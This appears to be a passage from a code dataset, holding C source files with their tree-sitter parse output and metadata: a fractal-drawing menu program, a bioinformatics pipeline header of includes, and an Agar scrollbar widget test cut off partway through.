"double h(double x){\n return x*x;\n}"}, {"node_id": 420, "universal_type": "function", "name": "unknown", "text_snippet": "h(double x)"}, {"node_id": 431, "universal_type": "function", "name": "unknown", "text_snippet": "double k(double x){\n return 1/x;\n}"}, {"node_id": 433, "universal_type": "function", "name": "unknown", "text_snippet": "k(double x)"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include <stdio.h>\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include <stdlib.h>\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include \"fractal.h\"\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "#include <stdio.h>\n#include <stdlib.h>\n#include \"fractal.h\"\n\ndouble g(double);\nvoid menu(Figure *);\n\nint main() \n{\n Color* color = (Color*)malloc(sizeof(Color));\n double width, height, thickness, resolution;\n int r, g, b;\n printf(\"\\n***Welcome to the Fractal Factory***\\n\");\n printf(\"\\nEnter width of your figure(decimal):\\n\");\n scanf(\"%lf\", &width);\n printf(\"\\nEnter height of your figure(decimal):\\n\");\n scanf(\"%lf\", &width);\n Figure * figure = start_figure(width, height);\n\n printf(\"\\nEnter thickness(decimal):\\n\");\n scanf(\"%lf\", &thickness);\n printf(\"\\nEnter resolution(decimal):\\n\");\n scanf(\"%lf\", &resolution);\n set_thickness_resolution(figure, thickness, resolution);\n\n printf(\"\\nEnter red, blue and green value of your color(integer integer integer):\\n\");\n scanf(\"%d%d%d\", &r, &g, &b);\n color->r = r;\n color->g = g;\n color->b = b;\n set_color(figure, *color);\n\n menu(figure);\n // Figure * figure = start_figure(200.1, 200.1);\n // set_thickness_resolution(figure, 1.0, 60.0);\n // Color c = {.r=1, .g=2, .b=3};\n // set_color(figure, c);\n // //draw_fx(figure, g, -50.0, 50.0);\n // Point2D center= {.x=20.0, .y=60.0};\n // draw_circle(&center, 40.0, figure);\n // //draw_ellipse(&center, 120.0, 80.0, figure);\n // //export_svg(figure, \"canvas3.svg\");\n\n return 0;\n}\n\nvoid menu(Figure * figure){\n int choice, x, y;\n double start_x, end_x, r, a, b;\n Point2D *center = (Point2D*)malloc(sizeof(Point2D));\n \n printf(\"\\nSelect your choice:\\n\");\n printf(\"1) Draw function f(x) = x^3\\n\");\n printf(\"2) Draw circle\\n\");\n printf(\"3) Draw ellipse\\n\");\n printf(\"4) Exit\\n\");\n printf(\"\\nChoice:\");\n scanf(\"%d\", &choice);\n\n switch(choice){\n case 1:\n printf(\"\\n\\nEnter domain of the function [decimal,decimal]:\");\n scanf(\"%lf%lf\", &start_x, &end_x);\n draw_fx(figure, g, start_x, end_x);\n break;\n case 2:\n printf(\"\\n\\nEnter center point(x,y) of the circle (integer integer):\");\n scanf(\"%d%d\", &x, &y);\n center->x = x;\n center->y = y;\n printf(\"\\n\\nEnter radius of the circle (integer):\");\n scanf(\"%lf\", &r);\n draw_circle(center, r, figure);\n break;\n case 3:\n printf(\"\\n\\nEnter center point of the ellipse (integer x, integer y):\");\n scanf(\"%d%d\", &x, &y);\n center->x = x;\n center->y = y;\n printf(\"\\nEnter major and minor axises of the ellipse (decimal, decimal):\");\n scanf(\"%lf%lf\", &a, &b);\n draw_ellipse(center, a, b, figure);\n break;\n case 4:\n return;\n break;\n default:\n printf(\"Wrong input!\");\n break;\n }\n}\n\ndouble g(double x){\n return x*x*x /10;\n}\n\ndouble h(double x){\n return x*x;\n}\n\ndouble k(double x){\n return 1/x;\n}\n\n\n"}
81,123
c
/******************************************************************************* * - FILE: work.c * - DESC: Pipelines Workflow Subroutines. * WORK interfaces between pipeline WORKER object and various *functions. *******************************************************************************/ #ifndef _WORK_H #define _WORK_H /* maintenance and outside main loop */ #include "work_index.h" #include "work_maintenance.h" /* main loop functions */ #include "work_loader.h" #include "work_loop.h" // #include "work_target_hmmprof.h" // #include "work_query_seq.h" #include "work_report.h" #include "work_threshold.h" /* algorithms */ #include "work_cloud_fwdback.h" #include "work_cloud_merge.h" #include "work_cloud_search.h" #include "work_fwdback.h" #include "work_optacc.h" #include "work_posterior.h" #include "work_posterior_bydom.h" #include "work_scoring.h" #include "work_viterbi.h" /* scripting */ #include "work_scripting.h" /* other */ #include "work_etc.h" #include "work_sparse_mx.h" #endif /* _WORK_H */
29.68
34
(translation_unit) "/*******************************************************************************\n * - FILE: work.c\n * - DESC: Pipelines Workflow Subroutines.\n * WORK interfaces between pipeline WORKER object and various\n *functions.\n *******************************************************************************/\n\n#ifndef _WORK_H\n#define _WORK_H\n\n/* maintenance and outside main loop */\n#include "work_index.h"\n#include "work_maintenance.h"\n/* main loop functions */\n#include "work_loader.h"\n#include "work_loop.h"\n// #include "work_target_hmmprof.h"\n// #include "work_query_seq.h"\n#include "work_report.h"\n#include "work_threshold.h"\n/* algorithms */\n#include "work_cloud_fwdback.h"\n#include "work_cloud_merge.h"\n#include "work_cloud_search.h"\n#include "work_fwdback.h"\n#include "work_optacc.h"\n#include "work_posterior.h"\n#include "work_posterior_bydom.h"\n#include "work_scoring.h"\n#include "work_viterbi.h"\n/* scripting */\n#include "work_scripting.h"\n/* other */\n#include "work_etc.h"\n#include "work_sparse_mx.h"\n\n#endif /* _WORK_H */\n" (comment) "/*******************************************************************************\n * - FILE: work.c\n * - DESC: Pipelines Workflow Subroutines.\n * WORK interfaces between pipeline WORKER object and various\n *functions.\n *******************************************************************************/" (preproc_ifdef) "#ifndef _WORK_H\n#define _WORK_H\n\n/* maintenance and outside main loop */\n#include "work_index.h"\n#include "work_maintenance.h"\n/* main loop functions */\n#include "work_loader.h"\n#include "work_loop.h"\n// #include "work_target_hmmprof.h"\n// #include "work_query_seq.h"\n#include "work_report.h"\n#include "work_threshold.h"\n/* algorithms */\n#include "work_cloud_fwdback.h"\n#include "work_cloud_merge.h"\n#include "work_cloud_search.h"\n#include "work_fwdback.h"\n#include "work_optacc.h"\n#include "work_posterior.h"\n#include "work_posterior_bydom.h"\n#include "work_scoring.h"\n#include "work_viterbi.h"\n/* scripting */\n#include "work_scripting.h"\n/* other */\n#include "work_etc.h"\n#include "work_sparse_mx.h"\n\n#endif" (#ifndef) "#ifndef" (identifier) "_WORK_H" (preproc_def) "#define _WORK_H\n" (#define) "#define" (identifier) "_WORK_H" (comment) "/* maintenance and outside main loop */" (preproc_include) "#include "work_index.h"\n" (#include) "#include" (string_literal) ""work_index.h"" (") """ (string_content) "work_index.h" (") """ (preproc_include) "#include "work_maintenance.h"\n" (#include) "#include" (string_literal) ""work_maintenance.h"" (") """ (string_content) "work_maintenance.h" (") """ (comment) "/* main loop functions */" (preproc_include) "#include "work_loader.h"\n" (#include) "#include" (string_literal) ""work_loader.h"" (") """ (string_content) "work_loader.h" (") """ (preproc_include) "#include "work_loop.h"\n" (#include) "#include" (string_literal) ""work_loop.h"" (") """ (string_content) "work_loop.h" (") """ (comment) "// #include "work_target_hmmprof.h"" (comment) "// #include "work_query_seq.h"" (preproc_include) "#include "work_report.h"\n" (#include) "#include" (string_literal) ""work_report.h"" (") """ (string_content) "work_report.h" (") """ (preproc_include) "#include "work_threshold.h"\n" (#include) "#include" (string_literal) ""work_threshold.h"" (") """ (string_content) "work_threshold.h" (") """ (comment) "/* algorithms */" (preproc_include) "#include "work_cloud_fwdback.h"\n" (#include) "#include" (string_literal) ""work_cloud_fwdback.h"" (") """ (string_content) "work_cloud_fwdback.h" (") """ (preproc_include) "#include "work_cloud_merge.h"\n" (#include) "#include" (string_literal) ""work_cloud_merge.h"" (") """ (string_content) "work_cloud_merge.h" (") """ (preproc_include) "#include "work_cloud_search.h"\n" (#include) "#include" (string_literal) ""work_cloud_search.h"" (") """ (string_content) "work_cloud_search.h" (") """ (preproc_include) "#include "work_fwdback.h"\n" (#include) "#include" (string_literal) ""work_fwdback.h"" (") """ (string_content) "work_fwdback.h" (") """ (preproc_include) "#include "work_optacc.h"\n" (#include) "#include" (string_literal) ""work_optacc.h"" (") """ (string_content) "work_optacc.h" (") """ (preproc_include) "#include "work_posterior.h"\n" (#include) "#include" (string_literal) ""work_posterior.h"" (") """ (string_content) "work_posterior.h" (") """ (preproc_include) "#include "work_posterior_bydom.h"\n" (#include) "#include" (string_literal) ""work_posterior_bydom.h"" (") """ (string_content) "work_posterior_bydom.h" (") """ (preproc_include) "#include "work_scoring.h"\n" (#include) "#include" (string_literal) ""work_scoring.h"" (") """ (string_content) "work_scoring.h" (") """ (preproc_include) "#include "work_viterbi.h"\n" (#include) "#include" (string_literal) ""work_viterbi.h"" (") """ (string_content) "work_viterbi.h" (") """ (comment) "/* scripting */" (preproc_include) "#include "work_scripting.h"\n" (#include) "#include" (string_literal) ""work_scripting.h"" (") """ (string_content) "work_scripting.h" (") """ (comment) "/* other */" (preproc_include) "#include "work_etc.h"\n" (#include) "#include" (string_literal) ""work_etc.h"" (") """ (string_content) "work_etc.h" (") """ (preproc_include) "#include "work_sparse_mx.h"\n" (#include) "#include" (string_literal) ""work_sparse_mx.h"" (") """ (string_content) "work_sparse_mx.h" (") """ (#endif) "#endif" (comment) "/* _WORK_H */"
125
0
{"language": "c", "success": true, "metadata": {"lines": 34, "avg_line_length": 29.68, "nodes": 61, "errors": 0, "source_hash": "6143bbeb0334bdf64932a39409050b7d0d7de828d59038c4b1894adf0b622481", "categorized_nodes": 59}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef _WORK_H\n#define _WORK_H\n\n/* maintenance and outside main loop */\n#include \"work_index.h\"\n#include \"work_maintenance.h\"\n/* main loop functions */\n#include \"work_loader.h\"\n#include \"work_loop.h\"\n// #include \"work_target_hmmprof.h\"\n// #include \"work_query_seq.h\"\n#include \"work_report.h\"\n#include \"work_threshold.h\"\n/* algorithms */\n#include \"work_cloud_fwdback.h\"\n#include \"work_cloud_merge.h\"\n#include \"work_cloud_search.h\"\n#include \"work_fwdback.h\"\n#include \"work_optacc.h\"\n#include \"work_posterior.h\"\n#include \"work_posterior_bydom.h\"\n#include \"work_scoring.h\"\n#include \"work_viterbi.h\"\n/* scripting */\n#include \"work_scripting.h\"\n/* other */\n#include \"work_etc.h\"\n#include \"work_sparse_mx.h\"\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57, 60], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 36, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 7}}, {"id": 2, "type": "identifier", "text": "_WORK_H", "parent": 0, "children": [], "start_point": {"row": 7, "column": 8}, "end_point": {"row": 7, "column": 15}}, {"id": 3, "type": "preproc_def", "text": "#define _WORK_H\n", "parent": 0, "children": [4, 5], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 5, "type": "identifier", "text": "_WORK_H", "parent": 3, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 15}}, {"id": 6, "type": "preproc_include", "text": "#include \"work_index.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"work_index.h\"", "parent": 6, "children": [], "start_point": {"row": 11, "column": 9}, "end_point": {"row": 11, "column": 23}}, {"id": 9, "type": "preproc_include", "text": "#include \"work_maintenance.h\"\n", "parent": 0, "children": [10, 11], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"work_maintenance.h\"", "parent": 9, "children": [], "start_point": {"row": 12, "column": 9}, "end_point": {"row": 12, "column": 29}}, {"id": 12, "type": "preproc_include", "text": "#include \"work_loader.h\"\n", "parent": 0, "children": [13, 14], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 8}}, {"id": 14, "type": "string_literal", "text": "\"work_loader.h\"", "parent": 12, "children": [], "start_point": {"row": 14, "column": 9}, "end_point": {"row": 14, "column": 24}}, {"id": 15, "type": "preproc_include", "text": "#include \"work_loop.h\"\n", "parent": 0, "children": [16, 17], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 16, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 8}}, {"id": 17, "type": "string_literal", "text": "\"work_loop.h\"", "parent": 15, "children": [], "start_point": {"row": 15, "column": 9}, "end_point": {"row": 15, "column": 22}}, {"id": 18, "type": "preproc_include", "text": "#include \"work_report.h\"\n", "parent": 0, "children": [19, 20], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 19, "column": 0}}, {"id": 19, "type": "#include", "text": "#include", "parent": 18, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 8}}, {"id": 20, "type": "string_literal", "text": "\"work_report.h\"", "parent": 18, "children": [], "start_point": {"row": 18, "column": 9}, "end_point": {"row": 18, "column": 24}}, {"id": 21, "type": "preproc_include", "text": "#include \"work_threshold.h\"\n", "parent": 0, "children": [22, 23], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 20, "column": 0}}, {"id": 22, "type": "#include", "text": "#include", "parent": 21, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 8}}, {"id": 23, "type": "string_literal", "text": "\"work_threshold.h\"", "parent": 21, "children": [], "start_point": {"row": 19, "column": 9}, "end_point": {"row": 19, "column": 27}}, {"id": 24, "type": "preproc_include", "text": "#include \"work_cloud_fwdback.h\"\n", "parent": 0, "children": [25, 26], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 22, "column": 0}}, {"id": 25, "type": "#include", "text": "#include", "parent": 24, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 8}}, {"id": 26, "type": "string_literal", "text": "\"work_cloud_fwdback.h\"", "parent": 24, "children": [], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 31}}, {"id": 27, "type": "preproc_include", "text": "#include \"work_cloud_merge.h\"\n", "parent": 0, "children": [28, 29], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 23, "column": 0}}, {"id": 28, "type": "#include", "text": "#include", "parent": 27, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 8}}, {"id": 29, "type": "string_literal", "text": "\"work_cloud_merge.h\"", "parent": 27, "children": [], "start_point": {"row": 22, "column": 9}, "end_point": {"row": 22, "column": 29}}, {"id": 30, "type": "preproc_include", "text": "#include \"work_cloud_search.h\"\n", "parent": 0, "children": [31, 32], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 24, "column": 0}}, {"id": 31, "type": "#include", "text": "#include", "parent": 30, "children": [], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 8}}, {"id": 32, "type": "string_literal", "text": "\"work_cloud_search.h\"", "parent": 30, "children": [], "start_point": {"row": 23, "column": 9}, "end_point": {"row": 23, "column": 30}}, {"id": 33, "type": "preproc_include", "text": "#include \"work_fwdback.h\"\n", "parent": 0, "children": [34, 35], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 25, "column": 0}}, {"id": 34, "type": "#include", "text": "#include", "parent": 33, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 8}}, {"id": 35, "type": "string_literal", "text": "\"work_fwdback.h\"", "parent": 33, "children": [], "start_point": {"row": 24, "column": 9}, "end_point": {"row": 24, "column": 25}}, {"id": 36, "type": "preproc_include", "text": "#include \"work_optacc.h\"\n", "parent": 0, "children": [37, 38], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 26, "column": 0}}, {"id": 37, "type": "#include", "text": "#include", "parent": 36, "children": [], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 8}}, {"id": 38, "type": "string_literal", "text": "\"work_optacc.h\"", "parent": 36, "children": [], "start_point": {"row": 25, "column": 9}, "end_point": {"row": 25, "column": 24}}, {"id": 39, "type": "preproc_include", "text": "#include \"work_posterior.h\"\n", "parent": 0, "children": [40, 41], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 27, "column": 0}}, {"id": 40, "type": "#include", "text": "#include", "parent": 39, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 8}}, {"id": 41, "type": "string_literal", "text": "\"work_posterior.h\"", "parent": 39, "children": [], "start_point": {"row": 26, "column": 9}, "end_point": {"row": 26, "column": 27}}, {"id": 42, "type": "preproc_include", "text": "#include \"work_posterior_bydom.h\"\n", "parent": 0, "children": [43, 44], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 28, "column": 0}}, {"id": 43, "type": "#include", "text": "#include", "parent": 42, "children": [], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 8}}, {"id": 44, "type": "string_literal", "text": "\"work_posterior_bydom.h\"", "parent": 42, "children": [], "start_point": {"row": 27, "column": 9}, "end_point": {"row": 27, "column": 33}}, {"id": 45, "type": "preproc_include", "text": "#include \"work_scoring.h\"\n", "parent": 0, "children": [46, 47], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 29, "column": 0}}, {"id": 46, "type": "#include", "text": "#include", "parent": 45, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 8}}, {"id": 47, "type": "string_literal", "text": "\"work_scoring.h\"", "parent": 45, "children": [], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 25}}, {"id": 48, "type": "preproc_include", "text": "#include \"work_viterbi.h\"\n", "parent": 0, "children": [49, 50], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 30, "column": 0}}, {"id": 49, "type": "#include", "text": "#include", "parent": 48, "children": [], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 8}}, {"id": 50, "type": "string_literal", "text": "\"work_viterbi.h\"", "parent": 48, "children": [], "start_point": {"row": 29, "column": 9}, "end_point": {"row": 29, "column": 25}}, {"id": 51, "type": "preproc_include", "text": "#include \"work_scripting.h\"\n", "parent": 0, "children": [52, 53], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 32, "column": 0}}, {"id": 52, "type": "#include", "text": "#include", "parent": 51, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 8}}, {"id": 53, "type": "string_literal", "text": "\"work_scripting.h\"", "parent": 51, "children": [], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 27}}, {"id": 54, "type": "preproc_include", "text": "#include \"work_etc.h\"\n", "parent": 0, "children": [55, 56], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 34, "column": 0}}, {"id": 55, "type": "#include", "text": "#include", "parent": 54, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 8}}, {"id": 56, "type": "string_literal", "text": "\"work_etc.h\"", "parent": 54, "children": [], "start_point": {"row": 33, "column": 9}, "end_point": {"row": 33, "column": 21}}, {"id": 57, "type": "preproc_include", "text": "#include \"work_sparse_mx.h\"\n", "parent": 0, "children": [58, 59], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 35, "column": 0}}, {"id": 58, "type": "#include", "text": "#include", "parent": 57, "children": [], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 8}}, {"id": 59, "type": "string_literal", "text": "\"work_sparse_mx.h\"", "parent": 57, "children": [], "start_point": {"row": 34, "column": 9}, "end_point": {"row": 34, "column": 27}}, {"id": 60, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 6}}]}, "node_categories": {"declarations": {"functions": [], "variables": [], "classes": [], "imports": [6, 7, 9, 10, 12, 13, 15, 16, 18, 19, 21, 22, 24, 25, 27, 28, 30, 31, 33, 34, 36, 37, 39, 40, 42, 43, 45, 46, 48, 49, 51, 52, 54, 55, 57, 58], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 60], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11, 14, 17, 20, 23, 26, 29, 32, 35, 38, 41, 44, 47, 50, 53, 56, 59], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include \"work_index.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"work_maintenance.h\"\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include \"work_loader.h\"\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include \"work_loop.h\"\n"}, {"node_id": 16, "text": "#include"}, {"node_id": 18, "text": "#include \"work_report.h\"\n"}, {"node_id": 19, "text": "#include"}, {"node_id": 21, "text": "#include \"work_threshold.h\"\n"}, {"node_id": 22, "text": "#include"}, {"node_id": 24, "text": "#include \"work_cloud_fwdback.h\"\n"}, {"node_id": 25, "text": "#include"}, {"node_id": 27, "text": "#include \"work_cloud_merge.h\"\n"}, {"node_id": 28, "text": "#include"}, {"node_id": 30, "text": "#include \"work_cloud_search.h\"\n"}, {"node_id": 31, "text": "#include"}, {"node_id": 33, "text": "#include \"work_fwdback.h\"\n"}, {"node_id": 34, "text": "#include"}, {"node_id": 36, "text": "#include \"work_optacc.h\"\n"}, {"node_id": 37, "text": "#include"}, {"node_id": 39, "text": "#include \"work_posterior.h\"\n"}, {"node_id": 40, "text": "#include"}, {"node_id": 42, "text": "#include \"work_posterior_bydom.h\"\n"}, {"node_id": 43, "text": "#include"}, {"node_id": 45, "text": "#include \"work_scoring.h\"\n"}, {"node_id": 46, "text": "#include"}, {"node_id": 48, "text": "#include \"work_viterbi.h\"\n"}, {"node_id": 49, "text": "#include"}, {"node_id": 51, "text": "#include \"work_scripting.h\"\n"}, {"node_id": 52, "text": "#include"}, {"node_id": 54, "text": "#include \"work_etc.h\"\n"}, {"node_id": 55, "text": "#include"}, {"node_id": 57, "text": "#include \"work_sparse_mx.h\"\n"}, {"node_id": 58, "text": "#include"}]}, "original_source_code": "/*******************************************************************************\n * - FILE: work.c\n * - DESC: Pipelines Workflow Subroutines.\n * WORK interfaces between pipeline WORKER object and various\n *functions.\n *******************************************************************************/\n\n#ifndef _WORK_H\n#define _WORK_H\n\n/* maintenance and outside main loop */\n#include \"work_index.h\"\n#include \"work_maintenance.h\"\n/* main loop functions */\n#include \"work_loader.h\"\n#include \"work_loop.h\"\n// #include \"work_target_hmmprof.h\"\n// #include \"work_query_seq.h\"\n#include \"work_report.h\"\n#include \"work_threshold.h\"\n/* algorithms */\n#include \"work_cloud_fwdback.h\"\n#include \"work_cloud_merge.h\"\n#include \"work_cloud_search.h\"\n#include \"work_fwdback.h\"\n#include \"work_optacc.h\"\n#include \"work_posterior.h\"\n#include \"work_posterior_bydom.h\"\n#include \"work_scoring.h\"\n#include \"work_viterbi.h\"\n/* scripting */\n#include \"work_scripting.h\"\n/* other */\n#include \"work_etc.h\"\n#include \"work_sparse_mx.h\"\n\n#endif /* _WORK_H */\n"}
81,124
c
/* Public domain */ /* * Test the various bindings provided by the AG_Scrollbar(3) widget using * arbitrary values and ranges. */ #include "agartest.h" int vInt = 500; unsigned vUint = 0; Sint8 v8 = 50; Uint32 v32 = 32; #ifdef AG_HAVE_64BIT Uint64 v64 = 64; #endif float vFlt = 1.0; double vDbl = 0.0; #ifdef AG_HAVE_LONG_DOUBLE long double vLDbl = 1.0; #endif static int TestGUI(void *obj, AG_Window *win) { AG_Scrollbar *sb; AG_Label *lbl; Uint flags = AG_SCROLLBAR_HFILL|AG_SCROLLBAR_NOAUTOHIDE; lbl = AG_LabelNewPolled(win, AG_LABEL_HFILL, "Int binding: %d", &vInt); AG_LabelSizeHint(lbl, 0, "XXXXXXXXXXXXXXXXXXXX"); sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags); AG_BindInt(sb, "value", &vInt); AG_SetInt(sb, "min", -10000); AG_SetInt(sb, "max", 10000); AG_SetInt(sb, "inc", 1000); AG_LabelNewPolled(win, AG_LABEL_HFILL, "Uint binding: %d (vis=1000)", &vUint); sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags); AG_BindUint(sb, "value", &vUint); AG_SetUint(sb, "min", 0); AG_SetUint(sb, "max", 10000); AG_SetUint(sb, "inc", 1000); AG_SetUint(sb, "visible", 1000); AG_LabelNewPolled(win, AG_LABEL_HFILL, "8-bit binding: %[s8] (vis=50)", &v8); sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags); AG_BindSint8(sb, "value", &v8); AG_SetSint8(sb, "visible", 50); AG_LabelNewPolled(win, AG_LABEL_HFILL, "32-bit binding: %[u32] (vis=10)", &v32); sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags); AG_BindUint32(sb, "value", &v32); AG_SetUint32(sb, "min", 0); AG_SetUint32(sb, "max", 100); AG_SetUint32(sb, "visible", 10); #ifdef AG_HAVE_64BIT AG_LabelNewPolled(win, AG_LABEL_HFILL, "64-bit binding: %[u64] (vis=10)", &v64); sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags); AG_BindUint64(sb, "value", &v64); AG_SetUint64(sb, "min", 0ULL); AG_SetUint64(sb, "max", 100ULL); AG_SetUint64(sb, "visible", 10ULL); #endif AG_LabelNewPolled(win, AG_LABEL_HFILL, "Float binding: %f", &vFlt); sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags); AG_BindFloat(sb, "value", &vFlt); AG_SetFloat(sb, "min", 0.0f); AG_SetFloat(sb, "max", 1.0f); AG_SetFloat(sb, "inc", 0.01f); AG_LabelNewPolled(win, AG_LABEL_HFILL, "Double binding: %lf", &vDbl); sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags); AG_BindDouble(sb, "value", &vDbl); AG_SetDouble(sb, "min", -100.0); AG_SetDouble(sb, "max", +100.0); AG_SetDouble(sb, "inc", 1.0); #ifdef AG_HAVE_LONG_DOUBLE AG_LabelNewPolled(win, AG_LABEL_HFILL, "Long Double binding: %llf", &vLDbl); sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags); AG_BindLongDouble(sb, "value", &vLDbl); #endif return (0); } const AG_TestCase scrollbarTest = { "scrollbar", N_("Test the AG_Scrollbar(3) widget"), "1.5.0", 0, sizeof(AG_TestInstance), NULL, /* init */ NULL, /* destroy */ NULL, /* test */ TestGUI, NULL /* bench */ };
31.15
88
(translation_unit) "/* Public domain */\n/*\n * Test the various bindings provided by the AG_Scrollbar(3) widget using\n * arbitrary values and ranges.\n */\n\n#include "agartest.h"\n\nint vInt = 500;\nunsigned vUint = 0;\nSint8 v8 = 50;\nUint32 v32 = 32;\n#ifdef AG_HAVE_64BIT\nUint64 v64 = 64;\n#endif\nfloat vFlt = 1.0;\ndouble vDbl = 0.0;\n#ifdef AG_HAVE_LONG_DOUBLE\nlong double vLDbl = 1.0;\n#endif\n\nstatic int\nTestGUI(void *obj, AG_Window *win)\n{\n AG_Scrollbar *sb;\n AG_Label *lbl;\n Uint flags = AG_SCROLLBAR_HFILL|AG_SCROLLBAR_NOAUTOHIDE;\n\n lbl = AG_LabelNewPolled(win, AG_LABEL_HFILL, "Int binding: %d", &vInt);\n AG_LabelSizeHint(lbl, 0, "XXXXXXXXXXXXXXXXXXXX");\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindInt(sb, "value", &vInt);\n AG_SetInt(sb, "min", -10000);\n AG_SetInt(sb, "max", 10000);\n AG_SetInt(sb, "inc", 1000);\n\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "Uint binding: %d (vis=1000)", &vUint);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindUint(sb, "value", &vUint);\n AG_SetUint(sb, "min", 0);\n AG_SetUint(sb, "max", 10000);\n AG_SetUint(sb, "inc", 1000);\n AG_SetUint(sb, "visible", 1000);\n\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "8-bit binding: %[s8] (vis=50)", &v8);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindSint8(sb, "value", &v8);\n AG_SetSint8(sb, "visible", 50);\n\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "32-bit binding: %[u32] (vis=10)", &v32);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindUint32(sb, "value", &v32);\n AG_SetUint32(sb, "min", 0);\n AG_SetUint32(sb, "max", 100);\n AG_SetUint32(sb, "visible", 10);\n\n#ifdef AG_HAVE_64BIT\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "64-bit binding: %[u64] (vis=10)", &v64);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindUint64(sb, "value", &v64);\n AG_SetUint64(sb, "min", 0ULL);\n AG_SetUint64(sb, "max", 100ULL);\n AG_SetUint64(sb, "visible", 10ULL);\n#endif\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "Float binding: %f", &vFlt);\n sb = 